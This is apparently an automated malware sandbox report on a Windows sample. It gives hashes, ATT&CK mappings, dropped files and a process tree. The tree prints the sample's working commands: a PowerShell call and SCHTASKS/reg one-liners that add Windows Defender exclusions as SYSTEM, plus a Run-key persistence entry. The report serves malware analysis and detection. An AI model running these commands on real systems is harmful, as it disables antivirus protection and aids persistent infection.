62386a01e6726f3e889f047d761811830f5fb7c78acf0cb67311db123aefeb89

Analysis

max time kernel
150s
max time network
117s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/11/2026, 00:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
Size 35.4MB
Sample261105-bbp8kaey71
SHA256 62386a01e6726f3e889f047d761811830f5fb7c78acf0cb67311db123aefeb89
MD5 2c67564f7266bf5dc7b37d02f785fdaa
SHA1 7e249e3b47fa80f575b50c8652c785e37ef9709f
SHA512 f7aeaa1016a133622b8951f669ee564c88b18b2cecc24dced1b741b772045199b99053afd7b81806974dd8730f5678447b848ba8d572214eafebc9f2347c80fa
SSDEEP 49152:7mOOwpdnt9ePcpPnMBAu7o364VqXkD8oWz2rf8oW7O6C/n0wg/rQAdm8H+pnOugb:agpLfMr7OukQNz2rf8oUrQAHe5gALpo
TLSH
T1AA879156BA00DCC2F44692F0949BB6E023FEBCB58AE0C35321D47B196FBE14D4EA7165
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\DNERcm = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2316	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3368	Pn30dc.exe
6140	Pn30dc.exe

Loads dropped DLL 2 IoCs

pid	Process
3368	Pn30dc.exe
6140	Pn30dc.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\DNERcm\\Pn30dc.exe\""	Pn30dc.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5928	cmd.exe
3912	cmd.exe
2184	cmd.exe
3128	cmd.exe
3816	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	Pn30dc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1192	cmd.exe
4932	cmd.exe
2552	cmd.exe
3636	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Pn30dc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Pn30dc.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4568	schtasks.exe
5116	schtasks.exe
3040	schtasks.exe
2504	schtasks.exe
4044	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
2568	2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe
3368	Pn30dc.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeIncreaseQuotaPrivilege	2316	powershell.exe
Token: SeSecurityPrivilege	2316	powershell.exe
Token: SeTakeOwnershipPrivilege	2316	powershell.exe
Token: SeLoadDriverPrivilege	2316	powershell.exe
Token: SeSystemProfilePrivilege	2316	powershell.exe
Token: SeSystemtimePrivilege	2316	powershell.exe
Token: SeProfSingleProcessPrivilege	2316	powershell.exe
Token: SeIncBasePriorityPrivilege	2316	powershell.exe
Token: SeCreatePagefilePrivilege	2316	powershell.exe
Token: SeBackupPrivilege	2316	powershell.exe
Token: SeRestorePrivilege	2316	powershell.exe
Token: SeShutdownPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeSystemEnvironmentPrivilege	2316	powershell.exe
Token: SeRemoteShutdownPrivilege	2316	powershell.exe
Token: SeUndockPrivilege	2316	powershell.exe
Token: SeManageVolumePrivilege	2316	powershell.exe
Token: 33	2316	powershell.exe
Token: 34	2316	powershell.exe
Token: 35	2316	powershell.exe
Token: 36	2316	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3368 wrote to memory of 2316	3368	Pn30dc.exe	93
PID 3368 wrote to memory of 2184	3368	Pn30dc.exe	96
PID 2184 wrote to memory of 4568	2184	cmd.exe	98
PID 2184 wrote to memory of 4360	2184	cmd.exe	99
PID 3368 wrote to memory of 3128	3368	Pn30dc.exe	101
PID 2184 wrote to memory of 236	2184	cmd.exe	103
PID 3368 wrote to memory of 3816	3368	Pn30dc.exe	105
PID 3128 wrote to memory of 5116	3128	cmd.exe	108
PID 3816 wrote to memory of 3040	3816	cmd.exe	109
PID 3128 wrote to memory of 3628	3128	cmd.exe	110
PID 3128 wrote to memory of 3176	3128	cmd.exe	112
PID 3816 wrote to memory of 4272	3816	cmd.exe	113
PID 3368 wrote to memory of 5928	3368	Pn30dc.exe	114
PID 3816 wrote to memory of 4560	3816	cmd.exe	116
PID 5928 wrote to memory of 2504	5928	cmd.exe	117
PID 5928 wrote to memory of 2604	5928	cmd.exe	118
PID 5928 wrote to memory of 5800	5928	cmd.exe	120
PID 3368 wrote to memory of 3912	3368	Pn30dc.exe	124
PID 3912 wrote to memory of 4044	3912	cmd.exe	126
PID 3912 wrote to memory of 2600	3912	cmd.exe	127
PID 3912 wrote to memory of 2356	3912	cmd.exe	129
PID 2552 wrote to memory of 1820	2552	cmd.exe	132
PID 3636 wrote to memory of 5584	3636	cmd.exe	133
PID 4932 wrote to memory of 5812	4932	cmd.exe	134
PID 1192 wrote to memory of 2904	1192	cmd.exe	135

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-03_2c67564f7266bf5dc7b37d02f785fdaa_amadey_cobalt-strike_coinminer_glassworm_icedid_poet-rat_stealc_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2568

C:\Users\Public\DNERcm\Pn30dc.exe
"C:\Users\Public\DNERcm\Pn30dc.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\DNERcm\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\DNERcm\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4568
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4360
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3128
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3628
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3816
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3040
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4272
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5928
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2604
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4044
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2600
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2356

C:\Users\Public\DNERcm\Pn30dc.exe
"C:\Users\Public\DNERcm\Pn30dc.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6140

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\DNERcm" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1192
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\DNERcm" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2904

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1444

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4932
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5812

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1820

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3636
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 8428ff086e946c8cf8cec3bbfe7ae2a5a7d76a155495eefd73bdded4b67d964e
MD5 5c4f73194d6446e3eee4cf341b8e264f
SHA1 618c163879e20e901fd150be229bf12fb0158de2
SHA512 2cbd277182be8fc412f4d7b69ce891684a1a1ee4326674d082829a781449bd3c5b4bded2476dc8a5d62cadab931003d3d74e43e81c7d69560207e30d4846907d
TLSH
T15631C4FB2B69BDC28F260E4425CAE0321CE1A2805DC9549F2235D598AE0C3B22F4E90D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 5041e103f9d9df7ace1347d8ba4a8c974fd2177fcfa18520589fe327dec85580
MD5 3282c6631070e2c271b8610881f9ab43
SHA1 8b2f1867c81b4600ef9e54b3c3b7a20cb4f5dbfd
SHA512 835076a56ea93dd99d9e95776413b2a167641ed002cfe37600a178b8a9916353fe9fca39e049d1a2ed425e06f6942bd58cdfc7c22e7c580812ff4eb9d82b3ef1
TLSH
T15231D4879E3A40229B0C9F65A2C4C13B6DF082308CE488167A3ED39E6609F775FCA484
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 d05feae46c59e54d5b4776d2109dbfe26d16d2fef31de6c29a98c6ac18163738
MD5 c9eeb40f28538144102bd85a5cfb66d0
SHA1 35e71fe6e889186e52a47d32f9fa28fcf7a11d13
SHA512 7ecd89ae0102df47455238269c138f320ce4c32cbad7ed0b9c4357640dccedca354c0dce09fd7f529fcef33adc8de384eb7bd0b2857cfc5eb7524220afc5b982
TLSH
T1E3F027186DB8822DF273DA3C86DA39A71B6BFA05680641E80AF54B0C6207A413C5277A
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 645769f69e702a64721344e22af2bac85bdb3512a2c84d6df14c6ba211d6a025
MD5 8257f4c733fc464cdb366cd7c7a67382
SHA1 81199083f550ba04351b112cd9f06b3aa24986d8
SHA512 4e173f898e95976595e5be774a9d9dc93d0769426abc2a016dc51ef0ea906af98452e0bdceab8ba32d169c44e4265b2e53bb41788094befdb6816c5f3e38b063
TLSH
T112F05C2951E9811BF036C5B887C77AF2592AE622780631FD09A5134C5ED1C026C6232D
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0gakuvk1.mtm.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0gakuvk1.mtm.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Pn30dc.exe

Path C:\Users\Public\DNERcm\Pn30dc.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\DNERcm\UxEnhance64.dll
Size 3.1MB
SHA256 da3d10fcdb497bbf03fc34864e7e7b97f238613edef7b1fc2317429e5c95c88d
MD5 6076039df4046a36eb0689486aa99bb1
SHA1 db55050b3ec4fe17fcc8b75fd14492efbc363edc
SHA512 30513c0ad359e517cc514181f1f04af8f3009cfee24bbb46a3839f3a779aa4baa47c40d12f6f0a928b78b249e532a3d11120c59c65d15e758eaab7b04de61a04
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+R:P9m29xx3Tiqt06ox6+z2rNNrKoR
TLSH
T1F2E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

